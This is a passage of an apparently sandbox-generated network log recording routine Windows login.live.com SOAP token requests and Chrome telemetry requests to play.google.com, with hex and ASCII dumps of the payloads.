2024-04-19 01:29:50 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-19 01:29:50 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 19 Apr 2024 01:28:50 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C517_SN1 x-ms-request-id: b3aadc89-1595-48c0-8562-7dba311b703e PPServer: PPV: 30 H: SN1PEPF0002F9D0 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 19 Apr 2024 01:29:50 GMT Connection: close Content-Length: 11390
2024-04-19 01:29:50 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49833	40.126.29.15	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:51 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-19 01:29:51 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-19 01:29:51 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 19 Apr 2024 01:28:51 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: a71ab345-e3ba-4a69-88e5-80799c9833fb PPServer: PPV: 30 H: SN1PEPF0002F16C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 19 Apr 2024 01:29:50 GMT Connection: close Content-Length: 1918
2024-04-19 01:29:51 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49837	40.126.29.15	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:51 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-19 01:29:51 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-19 01:29:52 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 19 Apr 2024 01:28:52 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: c3d60b58-3d0a-43e6-ab90-93ac210fe044 PPServer: PPV: 30 H: SN1PEPF0002F17E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 19 Apr 2024 01:29:52 GMT Connection: close Content-Length: 1918
2024-04-19 01:29:52 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49838	40.126.29.15	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:51 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-19 01:29:51 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-19 01:29:52 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 19 Apr 2024 01:28:52 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C517_SN1 x-ms-request-id: ac700725-a905-4e55-92e1-86c368a4b7a9 PPServer: PPV: 30 H: SN1PEPF0002FA76 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 19 Apr 2024 01:29:52 GMT Connection: close Content-Length: 11390
2024-04-19 01:29:52 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49840	40.126.29.15	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:52 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-19 01:29:52 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-19 01:29:53 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 19 Apr 2024 01:28:52 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: fee88149-1372-4350-89be-7479dcb73c4c PPServer: PPV: 30 H: SN1PEPF0002F068 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 19 Apr 2024 01:29:52 GMT Connection: close Content-Length: 1918
2024-04-19 01:29:53 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49841	142.250.105.100	443	8152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:52 UTC	549	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 01:29:53 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Fri, 19 Apr 2024 01:29:53 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49842	142.250.105.100	443	8152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:52 UTC	549	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 01:29:53 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Fri, 19 Apr 2024 01:29:53 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49843	142.250.105.100	443	8152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:53 UTC	1321	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 521 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=513=CSbWbIUIJiVwRCWJW5w0-llvTcpKQxKeTBtMAG_A1r-Ke11UnCSiWvmA-ZZmVuAtTjhQoR-cuqyxOr8EsQzZ6XgOuuWXHCB5ATA7X6Of_FmCezhFNF6eox60e888AEMMCicnVFjL5u4Cgdc2u3lwj6G8e7HQXFts4EWtSxLH0N8
2024-04-19 01:29:53 UTC	521	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 31 33 34 39 30 31 39 32 31 30 37 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1713490192107",null,null,null
2024-04-19 01:29:53 UTC	925	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=513=fIomzTyeeIx3JW2Kp7mYMo-5w2x2QyQwK-Zr3XFVGBOwe-0tzmvxLEKWb4VJJYGV9lSeFsVnLcnwNM2sSDc4iKRmYQD40QJgg511iODE8S_GWqHNVunbrx_ZbzUbvEV3AzfFuBZJcUe6nrZgQKeYbLlsy9HUbcOEF2z_rQwsKN4; expires=Sat, 19-Oct-2024 01:29:53 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Fri, 19 Apr 2024 01:29:53 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Fri, 19 Apr 2024 01:29:53 GMT Connection: close Transfer-Encoding: chunked
